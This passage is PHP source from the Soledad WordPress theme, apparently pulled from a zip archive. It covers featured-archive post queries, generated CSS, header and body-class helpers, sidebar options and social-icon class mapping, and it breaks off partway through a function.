                                                                            <a href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a>
                                                                        </span>
																		<?php endif; ?>
																		<?php
																		if ( in_array( 'views', $post_meta ) ) {
																			echo '<span>';
																			echo penci_get_post_views( get_the_ID() );
																			echo ' ' . penci_get_setting( 'penci_trans_countviews' );
																			echo '</span>';
																		}
																		?>
																		<?php
																		$hide_readtime = in_array( 'reading', $post_meta ) ? false : true;
																		if ( penci_isshow_reading_time( $hide_readtime ) ): ?>
                                                                            <span class="bg-readtime"><?php penci_reading_time(); ?></span>
																		<?php endif; ?>
																		<?php do_action( 'penci_extra_meta' ); ?>
                                                                    </div>
                                                                </div>
															<?php } ?>

                                                        </div>
                                                    </div>
                                                </div>

                                            </div>
                                        </div>
                                    </div>
									<?php
								}
								$bg ++;
								/* end loop content*/
							}
							?>
                        </div>
                    </div>
					<?php
					if ( $flag_style ) {
						echo '</div>';
					}
					?>
                </div>
                </div>

				<?php if ( get_theme_mod( 'penci_arcf_adbelow' ) ) { ?>
                    <div class="container container-arc-banner<?php echo $two_sidebar_class; ?>">
						<?php echo penci_render_google_adsense( 'penci_arcf_adbelow' ); ?>
                    </div>
				<?php } ?>

				<?php
				wp_reset_postdata();
			}
		}
	}
}

if ( ! function_exists( 'penci_featured_archive_ppl' ) ) {
	function penci_featured_archive_ppl( $biggid_style ) {

		$count = 5;

		if ( in_array( $biggid_style, array(
			'style-3',
			'style-5',
			'style-13',
			'style-17',
			'style-1 penci-grid-col-3'
		) ) ) {
			$count = 3;
		} else if ( in_array( $biggid_style, array(
			'style-7',
			'style-8',
			'style-11',
			'style-12',
			'style-14',
			'style-16',
			'style-18',
			'style-1 penci-grid-col-4'
		) ) ) {
			$count = 4;
		} else if ( in_array( $biggid_style, array( 'style-15' ) ) ) {
			$count = 6;
		} else if ( in_array( $biggid_style, array( 'style-19', 'style-20', 'style-21', 'style-22' ) ) ) {
			$count = 7;
		} else if ( $biggid_style == 'style-1 penci-grid-col-2' ) {
			$count = 2;
		}

		return $count;
	}
}

if ( ! function_exists( 'penci_featured_exclude_posts' ) ) {
	function penci_featured_exclude_posts() {
		$penci_featured_layout     = '';
		$penci_cat_featured_layout = get_theme_mod( 'penci_cat_featured_layout', '' );
		$penci_tag_featured_layout = get_theme_mod( 'penci_tag_featured_layout', '' );

		if ( is_category() && $penci_cat_featured_layout ) {
			$penci_featured_layout = $penci_cat_featured_layout;
		}

		if ( is_tag() && $penci_tag_featured_layout ) {
			$penci_featured_layout = $penci_tag_featured_layout;
		}

		return (bool) $penci_featured_layout;
	}
}

function penci_get_query_archive_first_posts_featured() {
	$featured_query            = [];
	$penci_cat_featured_layout = get_theme_mod( 'penci_cat_featured_layout', '' );
	$penci_tag_featured_layout = get_theme_mod( 'penci_tag_featured_layout', '' );


	if ( ( is_category() && $penci_cat_featured_layout ) || ( is_tag() && $penci_tag_featured_layout ) ) {
		$term                             = get_queried_object();
		$penci_featured_layout            = is_category() ? $penci_cat_featured_layout : $penci_tag_featured_layout;
		$featured_query['tax_query']      = array(
			array(
				'taxonomy' => $term->taxonomy,
				'terms'    => $term->term_id,
			),
		);
		$grid_per_page                    = penci_featured_archive_ppl( $penci_featured_layout );
		$featured_query['posts_per_page'] = $grid_per_page;

		$sortby   = get_theme_mod( 'penci_arf_sortby', 'desc' );
		$order_by = get_theme_mod( 'penci_arf_orderby', '' );

		$featured_query['orderby'] = $order_by;
		$featured_query['order']   = $sortby;

		if ( 'popular' == $order_by ) {
			$featured_query['meta_key'] = penci_get_postviews_key();
			$featured_query['orderby']  = 'meta_value_num';
		} elseif ( 'popular_day' == $order_by ) {
			$featured_query['meta_key'] = 'penci_post_day_views_count';
			$featured_query['orderby']  = 'meta_value_num';
		} elseif ( 'popular7' == $order_by ) {
			$featured_query['meta_key'] = 'penci_post_week_views_count';
			$featured_query['orderby']  = 'meta_value_num';
		} elseif ( 'popular_month' == $order_by ) {
			$featured_query['meta_key'] = 'penci_post_month_views_count';
			$featured_query['orderby']  = 'meta_value_num';
		} elseif ( 'jetpack' == $order_by ) {
			$featured_query['meta_key'] = '_jetpack_post_view';
			$featured_query['orderby']  = 'meta_value_num';
		}
	}

	return $featured_query;
}

if ( ! function_exists( 'penci_featured_exclude_ids' ) ) {
	function penci_featured_exclude_ids(): array {
		$ids  = [];
		$args = penci_get_query_archive_first_posts_featured();

		if ( ! empty( $args ) ) {

			$checkquery_posts = get_posts( $args );
			foreach ( $checkquery_posts as $post ) {
				$ids[] = $post->ID;
			}

		}

		return $ids;
	}
}


if ( ! function_exists( 'penci_featured_exclude_query_posts' ) ) {
	add_action( 'pre_get_posts', 'penci_featured_exclude_query_posts' );
	function penci_featured_exclude_query_posts( $query ) {
		if ( penci_featured_exclude_posts() && ! is_admin() && $query->is_main_query() ) {
			$featured_ids = penci_featured_exclude_ids();
			$query->set( 'post__not_in', $featured_ids );
		}
	}
}

if ( ! function_exists( 'penci_featured_custom_css' ) ) {
	add_action( 'soledad_theme/custom_css', 'penci_featured_custom_css' );
	function penci_featured_custom_css() {

		$custom_colors = [
			'penci_arf_t_cl'                    => [
				'color' => '.biggrid-archive-wrapper .pcbg-content-inner .pcbg-title, .biggrid-archive-wrapper .pcbg-content-inner .pcbg-title a',
			],
			'penci_arf_t_hcl'                   => [
				'color' => '.biggrid-archive-wrapper .pcbg-content-inner .pcbg-title:hover, .biggrid-archive-wrapper .pcbg-content-inner .pcbg-title a:hover',
			],
			'penci_arf_meta_cl'                 => [
				'color' => '.biggrid-archive-wrapper .pcbg-meta, .biggrid-archive-wrapper .pcbg-meta span, .biggrid-archive-wrapper .pcbg-meta span a',
			],
			'penci_arf_meta_lcl'                => [
				'color' => '.biggrid-archive-wrapper .pcbg-meta span a',
			],
			'penci_arf_meta_hcl'                => [
				'color' => '.biggrid-archive-wrapper .pcbg-meta span a:hover',
			],
			'penci_arf_cat_cl'                  => [
				'color' => '.biggrid-archive-wrapper .pcbg-content-inner .cat > a.penci-cat-name',
			],
			'penci_arf_cat_hcl'                 => [
				'color' => '.biggrid-archive-wrapper .pcbg-content-inner .cat > a.penci-cat-name:hover',
			],
			'penci_arf_catfs'                   => [
				'font-size' => '.biggrid-archive-wrapper .cat > a.penci-cat-name',
			],
			'penci_arf_t_fs'                    => [
				'font-size' => '.biggrid-archive-wrapper .pcbg-content-inner .pcbg-title, .biggrid-archive-wrapper .pcbg-content-inner .pcbg-title a',
			],
			'penci_arf_t_bfs'                   => [
				'font-size' => '.biggrid-archive-wrapper .penci-biggrid-data.penci-fixh .pcbg-big-item .pcbg-content-inner .pcbg-title, .biggrid-archive-wrapper .penci-biggrid-data.penci-fixh .pcbg-big-item .pcbg-content-inner .pcbg-title a',
			],
			'penci_arf_meta_fs'                 => [
				'font-size' => '.biggrid-archive-wrapper .pcbg-meta, .biggrid-archive-wrapper .pcbg-meta span, .biggrid-archive-wrapper .pcbg-meta span a',
			],
			'penci_arf_gap'                     => [
				'--pcgap' => '.biggrid-archive-wrapper .penci-biggrid',
			],
			'penci_arf_img_ratio'               => [
				'padding-top' => '.biggrid-archive-wrapper .penci-bgitem .penci-image-holder:before',
			],
			'penci_category_featured_img_ratio' => [
				'padding-top' => '.biggrid-category-wrapper .penci-bgitem .penci-image-holder:before',
			],
			'penci_tag_featured_img_ratio'      => [
				'padding-top' => '.biggrid-tag-wrapper .penci-bgitem .penci-image-holder:before',
			],
			'penci_arf_exp_cl'                  => [
				'color' => '.biggrid-archive-wrapper .pcbg-content-inner .pcbg-meta .pcbg-pexcerpt',
			],
			'penci_arf_height'                  => [
				'--bgh' => '.biggrid-archive-wrapper .penci-biggrid .penci-fixh',
			],
			'penci_category_featured_height'    => [
				'--bgh' => '.biggrid-cat-wrapper .penci-biggrid .penci-fixh',
			],
			'penci_tag_featured_height'         => [
				'--bgh' => '.biggrid-tag-wrapper .penci-biggrid .penci-fixh',
			],
		];

		$mobile_css = [
			'penci_arf_mheight'               => [
				'--bgh' => '.biggrid-archive-wrapper .penci-biggrid .penci-fixh',
			],
			'penci_category_featured_mheight' => [
				'--bgh' => '.biggrid-cat-wrapper .penci-biggrid .penci-fixh',
			],
			'penci_tag_featured_mheight'      => [
				'--bgh' => '.biggrid-tag-wrapper .penci-biggrid .penci-fixh',
			],
			'penci_arf_t_mfs'                 => [
				'font-size' => '.biggrid-archive-wrapper .penci-bgrid-content-on .pcbg-content-inner .pcbg-title, .biggrid-archive-wrapper .penci-bgrid-content-on .pcbg-content-inner .pcbg-title a',
			],
			'penci_arf_t_bmfs'                => [
				'font-size' => '.biggrid-archive-wrapper .penci-biggrid-data.penci-fixh .pcbg-big-item .pcbg-content-inner .pcbg-title, .biggrid-archive-wrapper .penci-biggrid-data.penci-fixh .pcbg-big-item .pcbg-content-inner .pcbg-title a',
			],
		];

		$tablet_css = [
			'penci_arf_theight'          => [
				'--bgh' => '.biggrid-archive-wrapper .penci-biggrid .penci-fixh',
			],
			'penci_cat_featured_theight' => [
				'--bgh' => '.biggrid-cat-wrapper .penci-biggrid .penci-fixh',
			],
			'penci_tag_featured_theight' => [
				'--bgh' => '.biggrid-tag-wrapper .penci-biggrid .penci-fixh',
			],
		];

		penci_featured_render_css( $custom_colors );
		penci_featured_render_css( $mobile_css, 'mobile' );
		penci_featured_render_css( $tablet_css, 'tablet' );

		$gap_size = get_theme_mod( 'penci_arf_gap' );
		if ( $gap_size ) {
			echo '.biggrid-archive-wrapper .penci-bgstyle-1 .penci-dflex{';
			echo 'margin-left: calc(-' . $gap_size . 'px/2); margin-right: calc(-' . $gap_size . 'px/2); width: calc(100% + ' . $gap_size . 'px);';
			echo '}';
			echo '.biggrid-archive-wrapper .penci-bgstyle-1 .penci-bgitem{';
			echo 'padding-left: calc(' . $gap_size . 'px/2); padding-right: calc(' . $gap_size . 'px/2); margin-bottom: ' . $gap_size . 'px';
			echo '}';
		}
	}
}

if ( ! function_exists( 'penci_featured_render_css' ) ) {
	function penci_featured_render_css( $custom_colors, $mobile = false ) {

		$before = $after = '';

		if ( 'mobile' == $mobile ) {
			$before = '@media only screen and (max-width: 767px){';
			$after  = '}';
		}

		if ( 'tablet' == $mobile ) {
			$before = '@media only screen and (min-width: 768px) and (max-width: 1169px){';
			$after  = '}';
		}

		foreach ( $custom_colors as $option => $rules ) {
			$value  = get_theme_mod( $option );
			$prefix = is_numeric( $value ) ? 'px' : '';
			$prefix = strpos( $option, 'img_ratio' ) !== false ? '%' : $prefix;
			if ( $value ) {
				foreach ( $rules as $prop => $selector ) {
					echo $before . $selector . '{' . $prop . ':' . $value . $prefix . ';}' . $after;
				}
			}
		}
	}
}

if ( ! function_exists( 'penci_featured_title_check' ) ) {
	function penci_featured_title_check() {
		$category     = get_queried_object();
		$featured_ids = count( penci_featured_exclude_ids() );

		return $featured_ids == $category->count;
	}
}
PK     N\    inc/template-function.phpnu [        <?php
/**
 * Adds custom classes to the array of body classes.
 *
 * @param array $classes Classes for the body element.
 *
 * @return array
 */
/* Check page header has enable or not */

if ( ! function_exists( 'penci_is_pageheader' ) ) :
	function penci_is_pageheader() {
		if ( ! is_page() ) :
			return false;
		endif;

		static $show_page_title;
		$show_page_title  = get_theme_mod( 'penci_pheader_show' );
		$penci_page_title = get_post_meta( get_the_ID(), 'penci_pmeta_page_title', true );

		$pheader_show = isset( $penci_page_title['pheader_show'] ) ? $penci_page_title['pheader_show'] : '';
		if ( 'enable' == $pheader_show ) {
			$show_page_title = true;
		} elseif ( 'disable' == $pheader_show ) {
			$show_page_title = false;
		}

		return $show_page_title;
	}
endif;
if ( ! function_exists( 'penci_soledad_get_header_layout' ) ) :
	function penci_soledad_get_header_layout() {
		$header_layout = get_theme_mod( 'penci_header_layout' );
		if ( is_page() ) {
			$pmeta_page_header = get_post_meta( get_the_ID(), 'penci_pmeta_page_header', true );
			if ( isset( $pmeta_page_header['header_style'] ) && $pmeta_page_header['header_style'] ) {
				$header_layout = $pmeta_page_header['header_style'];
			}
		}

		if ( empty( $header_layout ) ) {
			$header_layout = 'header-1';
		}

		return $header_layout;
	}
endif;

if ( ! function_exists( 'penci_soledad_get_header_width' ) ) :
	function penci_soledad_get_header_width() {
		$header_width = get_theme_mod( 'penci_header_ctwidth' );
		if ( is_page() ) {
			$pmeta_page_header = get_post_meta( get_the_ID(), 'penci_pmeta_page_header', true );
			if ( isset( $pmeta_page_header['penci_header_width'] ) && $pmeta_page_header['penci_header_width'] ) {
				$header_width = $pmeta_page_header['penci_header_width'];
			}
		}

		$output = 'container';
		if ( $header_width ) {
			$output .= ' container-' . $header_width;
		}

		echo $output;
	}
endif;

if ( ! function_exists( 'penci_soledad_get_header_container_width' ) ) :
	function penci_soledad_get_header_container_width() {
		$header_width = get_theme_mod( 'penci_header_ctwidth' );
		if ( is_page() ) {
			$pmeta_page_header = get_post_meta( get_the_ID(), 'penci_pmeta_page_header', true );
			if ( isset( $pmeta_page_header['penci_header_width'] ) && $pmeta_page_header['penci_header_width'] ) {
				$header_width = $pmeta_page_header['penci_header_width'];
			}
		}

		$output = '1170';
		if ( $header_width ) {
			$output = $header_width;
		}

		return $output;
	}
endif;

if ( ! function_exists( 'penci_soledad_wpheader_classes' ) ) :
	function penci_soledad_wpheader_classes( $class = '' ) {
		$_featured_slider_all_page   = get_theme_mod( 'penci_featured_slider_all_page' );
		$_featured_slider            = get_theme_mod( 'penci_featured_slider' );
		$_vertical_nav_remove_header = get_theme_mod( 'penci_vertical_nav_remove_header' );
		$_vertical_nav_show          = get_theme_mod( 'penci_vertical_nav_show' );
		$header_layout               = penci_soledad_get_header_layout();

		$classes = 'header-' . $header_layout;
		if ( ( ( ! is_home() || ! is_front_page() ) && ! $_featured_slider_all_page ) || ( ( is_home() || is_front_page() ) && ! $_featured_slider ) ) {
			$classes .= ' has-bottom-line';
		}
		if ( $_vertical_nav_remove_header && $_vertical_nav_show ) {
			$classes .= ' penci-vernav-hide-innerhead';
		}

		if ( $class ) {
			$classes .= ' ' . $class;
		}

		return $classes;
	}
endif;

if ( ! function_exists( 'penci_soledad_sitenavigation_classes' ) ) :
	function penci_soledad_sitenavigation_classes( $class = '' ) {
		$menu_style    = get_theme_mod( 'penci_header_menu_style' );
		$header_layout = penci_soledad_get_header_layout();

		$classes = '';

		if ( in_array( $header_layout, array( 'header-1', 'header-4', 'header-7' ) ) ) {
			$classes .= 'header-layout-top';
		} else {
			$classes .= 'header-layout-bottom';
		}

		if ( $header_layout == 'header-9' ) {
			$classes .= ' header-6';
		}

		if ( $header_layout == 'header-10' || $header_layout == 'header-11' ) {
			$overflow_logo = get_theme_mod( 'penci_overflow_logo' );
			if ( $overflow_logo ) {
				$class .= ' penci-logo-overflow';
			}
		}

		$classes .= ' ' . $header_layout;
		$classes .= ' ' . ( $menu_style ? $menu_style : 'menu-style-1' );

		if ( get_theme_mod( 'penci_header_enable_padding' ) ) {
			$classes .= ' menu-item-padding';
		}
		if ( get_theme_mod( 'penci_disable_sticky_header' ) ) {
			$classes .= ' penci-disable-sticky-nav';
		}

		if ( $class ) {
			$classes .= ' ' . $class;
		}

		return $classes;
	}
endif;

if ( ! function_exists( 'penci_soledad_body_classes' ) ) :
	function penci_soledad_body_classes( $classes ) {

		$fontawesome_ver5 = get_theme_mod( 'penci_fontawesome_ver5' );
		if ( $fontawesome_ver5 ) {
			$classes[] = 'penci-fawesome-ver5';
		}

		if ( is_singular( 'portfolio' ) ) {

			if ( get_theme_mod( 'penci_portfolio_single_enable_2sidebar' ) ) {
				$classes[] = 'penci-two-sidebar';
			}
		} elseif ( is_home() || is_front_page() ) {

			$show_on_front = get_option( 'show_on_front' );
			if ( 'page' == $show_on_front ) {

				$sidebar_layout   = get_theme_mod( 'penci_page_default_template_layout' );
				$sidebar_position = get_post_meta( get_the_ID(), 'penci_sidebar_page_pos', true );
				if ( $sidebar_position ) {
					$sidebar_layout = $sidebar_position;
				}

				if ( 'two-sidebar' == $sidebar_layout ) {
					$classes[] = 'penci-two-sidebar';
				}

				// Header transparent
				$header_trans = penci_is_header_transparent();
				if ( $header_trans ) {
					$classes[] = 'penci-header-trans';
				}
			} elseif ( get_theme_mod( 'penci_two_sidebar_home' ) ) {
				$classes[] = 'penci-two-sidebar';
			}
		} elseif ( is_archive() || is_search() || is_404() ) {

			$is_two_sidebar_archive = get_theme_mod( 'penci_two_sidebar_archive' );

			if ( is_category() ) {
				$category_oj  = get_queried_object();
				$fea_cat_id   = $category_oj->term_id;
				$cat_meta     = get_option( "category_$fea_cat_id" );
				$sidebar_opts = isset( $cat_meta['cat_sidebar_display'] ) ? $cat_meta['cat_sidebar_display'] : '';
				if ( $sidebar_opts == 'two' ) {
					$is_two_sidebar_archive = true;
				} elseif ( $sidebar_opts ) {
					$is_two_sidebar_archive = false;
				}
			}

			if ( $is_two_sidebar_archive ) {
				$classes[] = 'penci-two-sidebar';
			}
		} elseif ( is_page() ) {
			$sidebar_layout   = get_theme_mod( 'penci_page_default_template_layout' );
			$sidebar_position = get_post_meta( get_the_ID(), 'penci_sidebar_page_pos', true );
			if ( $sidebar_position ) {
				$sidebar_layout = $sidebar_position;
			}

			if ( 'two-sidebar' == $sidebar_layout ) {
				$classes[] = 'penci-two-sidebar';
			}

			$show_page_title = penci_is_pageheader();
			if ( $show_page_title ) :
				$classes[] = 'penci-body-epageheader';
			endif;

			// Header transparent
			$header_trans = penci_is_header_transparent();
			if ( $header_trans ) {
				$classes[] = 'penci-header-trans';
			}
		} elseif ( is_single() ) {
			$sidebar_single_layout   = get_theme_mod( 'penci_single_layout' );
			$sidebar_single_position = penci_get_single_key( get_the_ID(), 'penci_post_sidebar_display' );
			if ( $sidebar_single_position ) {
				$sidebar_single_layout = $sidebar_single_position;
			}

			if ( 'two' == $sidebar_single_layout ) {
				$classes[] = 'penci-two-sidebar';
			}
		}

		if ( is_singular( 'portfolio' ) || is_singular( 'product' ) ) {
			$classes[] = 'penci-port-product';
		}

		return $classes;
	}

	add_filter( 'body_class', 'penci_soledad_body_classes' );
endif;

/**
 * Get class sidebar position
 */
if ( ! function_exists( 'penci_is_header_transparent' ) ) :
	function penci_is_header_transparent() {
		$header_trans = false;
		if ( is_page() ) {
			$header_trans = get_theme_mod( 'penci_header_enable_transparent' );
		}

		$pmeta_page_header = get_post_meta( get_the_ID(), 'penci_pmeta_page_header', true );
		if ( isset( $pmeta_page_header['penci_edeader_trans'] ) ) {
			if ( 'yes' == $pmeta_page_header['penci_edeader_trans'] ) {
				$header_trans = true;
			} elseif ( 'no' == $pmeta_page_header['penci_edeader_trans'] ) {
				$header_trans = false;
			}
		}

		return $header_trans;
	}
endif;

/**
 * Get class sidebar position
 */
if ( ! function_exists( 'penci_get_sidebar_position_archive' ) ) :
	function penci_get_sidebar_position_archive() {
		$sidebar_position = 'right-sidebar';
		if ( get_theme_mod( 'penci_two_sidebar_archive' ) ) {
			$sidebar_position = 'two-sidebar';
		} elseif ( get_theme_mod( 'penci_left_sidebar_archive' ) ) {
			$sidebar_position = 'left-sidebar';
		}

		return $sidebar_position;
	}
endif;

if ( ! function_exists( 'get_list_custom_sidebar_option' ) ) :
	function get_list_custom_sidebar_option() {
		$list_sidebar = array(
			'main-sidebar'      => 'Main Sidebar',
			'main-sidebar-left' => 'Main Sidebar Left',
			'custom-sidebar-1'  => 'Custom Sidebar 1',
			'custom-sidebar-2'  => 'Custom Sidebar 2',
			'custom-sidebar-3'  => 'Custom Sidebar 3',
			'custom-sidebar-4'  => 'Custom Sidebar 4',
			'custom-sidebar-5'  => 'Custom Sidebar 5',
			'custom-sidebar-6'  => 'Custom Sidebar 6',
			'custom-sidebar-7'  => 'Custom Sidebar 7',
			'custom-sidebar-8'  => 'Custom Sidebar 8',
			'custom-sidebar-9'  => 'Custom Sidebar 9',
			'custom-sidebar-10' => 'Custom Sidebar 10',
		);

		$custom_sidebars = get_option( 'soledad_custom_sidebars' );
		if ( empty( $custom_sidebars ) || ! is_array( $custom_sidebars ) ) {
			return $list_sidebar;
		}

		foreach ( $custom_sidebars as $sidebar_id => $custom_sidebar ) {

			if ( empty( $custom_sidebar['name'] ) ) {
				continue;
			}
			$list_sidebar[ $sidebar_id ] = $custom_sidebar['name'];
		}

		return $list_sidebar;
	}
endif;

if ( ! function_exists( 'penci_get_option_yesno' ) ) {
	function penci_get_option_yesno( $default = false ) {
		$output = array();

		if ( $default ) {
			$output[''] = esc_html__( 'Default( follow Customize )', 'soledad' );
		}

		$output['no']  = esc_html__( 'No', 'soledad' );
		$output['yes'] = esc_html__( 'Yes', 'soledad' );

		return $output;
	}
}

if ( ! function_exists( 'penci_get_option_menus' ) ) {
	function penci_get_option_menus( $hide_empty = false ) {
		$output = array( '' => esc_html__( '-- Default Select -- ', 'soledad' ) );

		$menus = get_terms( 'nav_menu', array( 'hide_empty' => $hide_empty ) );

		foreach ( $menus as $menu ) {
			$output[ $menu->term_id ] = $menu->name;
		}

		return $output;
	}
}

if ( ! function_exists( 'penci_get_data_slider' ) ) :
	function penci_get_data_slider( $args ) {
		$items = $autoplay = $autotime = $speed = $loop = $showdots = $shownav = '';

		$args = wp_parse_args(
			$args,
			array(
				'items'                  => '1',
				'autoplay'               => '',
				'autotime'               => '',
				'auto_time'              => '',
				'speed'                  => '',
				'loop'                   => '',
				'showdots'               => '0',
				'shownav'                => '0',
				'transition'             => '',
				'carousel_slider_effect' => '',
				'single_slider_effect'   => '',
			)
		);
		extract( $args );

		$atimes = $autotime ? $autotime : $auto_time;

		$data = ' data-items="' . $items . '"';
		$data .= ' data-auto="' . ( 'yes' == $autoplay ? 'true' : 'false' ) . '"';

		$data .= $atimes ? ' data-autotime="' . $atimes . '"' : '';
		$data .= $speed ? ' data-speed="' . $speed . '"' : '';
		$data .= ! $loop ? ' data-loop="false"' : '';
		$data .= $showdots ? ' data-dots="true"' : '';
		$data .= ! $shownav ? ' data-nav="true"' : '';
		$data .= $transition ? ' data-anim="' . $transition . '"' : '';
		$data .= $carousel_slider_effect ? ' data-ceffect="' . $carousel_slider_effect . '"' : '';
		$data .= $single_slider_effect ? ' data-seffect="' . $single_slider_effect . '"' : '';

		return $data;
	}
endif;

if ( defined( 'ELEMENTOR_VERSION' ) || defined( 'WPB_VC_VERSION' ) ) {
	if ( ! function_exists( 'custom_css_title_block_pagebuilder' ) ) {
		add_action( 'soledad_theme/custom_css', 'custom_css_title_block_pagebuilder' );
		function custom_css_title_block_pagebuilder() {
			if ( get_theme_mod( 'penci_sidebar_heading_lowcase' ) ) : ?>
                .penci-block-vc .penci-border-arrow .inner-arrow { text-transform: none; }
			<?php endif; ?>
			<?php if ( get_theme_mod( 'penci_sidebar_heading_size' ) ) : ?>
                .penci-block-vc .penci-border-arrow .inner-arrow { font-size: <?php echo get_theme_mod( 'penci_sidebar_heading_size' ); ?>px; }
			<?php endif; ?>
			<?php if ( get_theme_mod( 'penci_sidebar_heading_image_8' ) ) : ?>
                .penci-block-vc .style-8.penci-border-arrow .inner-arrow { background-image: url(<?php echo get_theme_mod( 'penci_sidebar_heading_image_8' ); ?>); }
			<?php endif; ?>
			<?php if ( get_theme_mod( 'penci_sidebar_heading8_repeat' ) ) : ?>
                .penci-block-vc .style-8.penci-border-arrow .inner-arrow { background-repeat: <?php echo get_theme_mod( 'penci_sidebar_heading8_repeat' ); ?>; background-size: auto; }
			<?php endif; ?>
			<?php if ( get_theme_mod( 'penci_sidebar_heading_bg' ) ) : ?>
                .penci-block-vc .penci-border-arrow .inner-arrow { background-color: <?php echo get_theme_mod( 'penci_sidebar_heading_bg' ); ?>; }
                .penci-block-vc .style-2.penci-border-arrow:after{ border-top-color: <?php echo get_theme_mod( 'penci_sidebar_heading_bg' ); ?>; }
			<?php endif; ?>
			<?php if ( get_theme_mod( 'penci_sidebar_heading_outer_bg' ) ) : ?>
                .penci-block-vc .penci-border-arrow:after { background-color: <?php echo get_theme_mod( 'penci_sidebar_heading_outer_bg' ); ?>; }
			<?php endif; ?>
			<?php if ( get_theme_mod( 'penci_sidebar_heading_border_color' ) ) : ?>
                .penci-block-vc .penci-border-arrow .inner-arrow, .penci-block-vc.style-4 .penci-border-arrow .inner-arrow:before, .penci-block-vc.style-4 .penci-border-arrow .inner-arrow:after, .penci-block-vc.style-5 .penci-border-arrow, .penci-block-vc.style-7
                .penci-border-arrow, .penci-block-vc.style-9 .penci-border-arrow { border-color: <?php echo get_theme_mod( 'penci_sidebar_heading_border_color' ); ?>; }
                .penci-block-vc .penci-border-arrow:before { border-top-color: <?php echo get_theme_mod( 'penci_sidebar_heading_border_color' ); ?>; }
			<?php endif; ?>
			<?php if ( get_theme_mod( 'penci_sidebar_heading_border_color5' ) ) : ?>
                .penci-block-vc .style-5.penci-border-arrow { border-color: <?php echo get_theme_mod( 'penci_sidebar_heading_border_color5' ); ?>; }
                .penci-block-vc .style-5.penci-border-arrow .inner-arrow{ border-bottom-color: <?php echo get_theme_mod( 'penci_sidebar_heading_border_color5' ); ?>; }
			<?php endif; ?>
			<?php if ( get_theme_mod( 'penci_sidebar_heading_border_color7' ) ) : ?>
                .penci-block-vc .style-7.penci-border-arrow .inner-arrow:before, .penci-block-vc.style-9 .penci-border-arrow .inner-arrow:before { background-color: <?php echo get_theme_mod( 'penci_sidebar_heading_border_color7' ); ?>; }
			<?php endif; ?>
			<?php if ( get_theme_mod( 'penci_sidebar_heading_border_inner_color' ) ) : ?>
                .penci-block-vc .penci-border-arrow:after { border-color: <?php echo get_theme_mod( 'penci_sidebar_heading_border_inner_color' ); ?>; }
			<?php endif; ?>
			<?php if ( get_theme_mod( 'penci_sidebar_heading_color' ) ) : ?>
                .penci-block-vc .penci-border-arrow .inner-arrow { color: <?php echo get_theme_mod( 'penci_sidebar_heading_color' ); ?>; }
			<?php endif; ?>
			<?php if ( get_theme_mod( 'penci_sidebar_remove_border_outer' ) ) : ?>
                .penci-block-vc .penci-border-arrow:after { content: none; display: none; }
                .penci-block-vc .widget-title{ margin-left: 0; margin-right: 0; margin-top: 0; }
                .penci-block-vc .penci-border-arrow:before{ bottom: -6px; border-width: 6px; margin-left: -6px; }
			<?php endif; ?>
			<?php if ( get_theme_mod( 'penci_sidebar_remove_arrow_down' ) ) : ?>
                .penci-block-vc .penci-border-arrow:before, .penci-block-vc .style-2.penci-border-arrow:after { content: none; display: none; }
			<?php
			endif;
		}
	}
}

/**
 * Get icon font awesome with each version
 *
 * Note important : if edit function
 *
 * @see penci_icon_by_ver()
 */
if ( ! function_exists( 'penci_icon_by_ver' ) ) :
	function penci_icon_by_ver( $class, $style = '', $sharing = false ) {

		if ( ( get_theme_mod( 'penci_outline_social_icon' ) && true != $sharing ) || ( get_theme_mod( 'penci_outline_social_share' ) && true == $sharing ) ) {
			if ( 'fab fa-facebook-f' == $class ) {
				$class = 'penciicon-facebook';
			} elseif ( 'fab fa-facebook-f' == $class ) {
				$class = 'penciicon-facebook';
			} elseif ( 'fab fa-twitter' == $class ) {
				$class = 'penciicon-twitter';
			} elseif ( 'fab fa-instagram' == $class ) {
				$class = 'penciicon-instagram';
			} elseif ( 'fab fa-pinterest' == $class ) {
				$class = 'penciicon-pinterest';
			} elseif ( 'fab fa-linkedin-in' == $class ) {
				$class = 'penciicon-linkedin';
			} elseif ( 'fab fa-flickr' == $class ) {
				$class = 'penciicon-flickr';
			} elseif ( 'fab fa-behance' == $class ) {
				$class = 'penciicon-behance';
			} elseif ( 'fab fa-tumblr' == $class ) {
				$class = 'penciicon-tumblr';
			} elseif ( 'fab fa-youtube' == $class ) {
				$class = 'penciicon-youtube';
			} elseif ( 'fas fa-envelope' == $class ) {
				$class = 'penciicon-email';
			} elseif ( 'fab fa-vk' == $class ) {
				$class = 'penciicon-vk';
			} elseif ( 'fab fa-vine' == $class ) {
				$class = 'penciicon-vine';
			} elseif ( 'fab fa-soundcloud' == $class ) {
				$class = 'penciicon-soundcloud';
			} elseif ( 'fab fa-snapchat' == $class ) {
				$class = 'penciicon-snapchat';
			} elseif ( 'fab fa-spotify' == $class ) {
				$class = 'penciicon-spotify';
			} elseif ( 'fab fa-github' == $class ) {
				$class = 'penciicon-github';
			} elseif ( 'fab fa-stack-overflow' == $class ) {
				$class = 'penciicon-stack-overflow';
			} elseif ( 'fab fa-twitch' == $class ) {
				$class = 'penciicon-twitch';
			} elseif ( 'fab fa-vimeo-v' == $class ) {
				$class = 'penciicon-vimeo';
			} elseif ( 'fab fa-steam' == $class ) {
				$class = 'penciicon-steam';
			} elseif ( 'fab fa-xing' == $class ) {
				$class = 'penciicon-xing';
			} elseif ( 'fab fa-whatsapp' == $class ) {
				$class = 'penciicon-whatsapp';
			} elseif ( 'fab fa-telegram' == $class ) {
				$class = 'penciicon-telegram';
			} elseif ( 'fab fa-reddit-alien' == $class ) {
				$class = 'penciicon-reddit';
			} elseif ( 'fab fa-odnoklassniki' == $class ) {
				$class = 'penciicon-odnoklassniki';
			} elseif ( 'fab fa-stumbleupon' == $class ) {
				$class = 'penciicon-stumbleupon';
			} elseif ( 'fab fa-weixin' == $class ) {
				$class = 'penciicon-wechat';
			} elseif ( 'fab fa-weibo' == $class ) {
				$class = 'penciicon-sina-weibo';
			} elseif ( 'penciicon-line' == $class ) {
				$class = 'penciicon-line-1';
			} elseif ( 'penciicon-viber' == $class ) {
				$class = 'penciicon-viber-1';
			} elseif ( 'penciicon-discord' == $class ) {
				$class = 'penciicon-discord-1';
			} elseif ( 'fas fa-rss' == $class ) {
				$class = 'penciicon-rss';
			} elseif ( 'fab fa-slack' == $class ) {
				$class = 'penciicon-slack';
			} elseif ( 'fab fa-tripadvisor' == $class ) {
				$class = 'penciicon-tripadvisor';
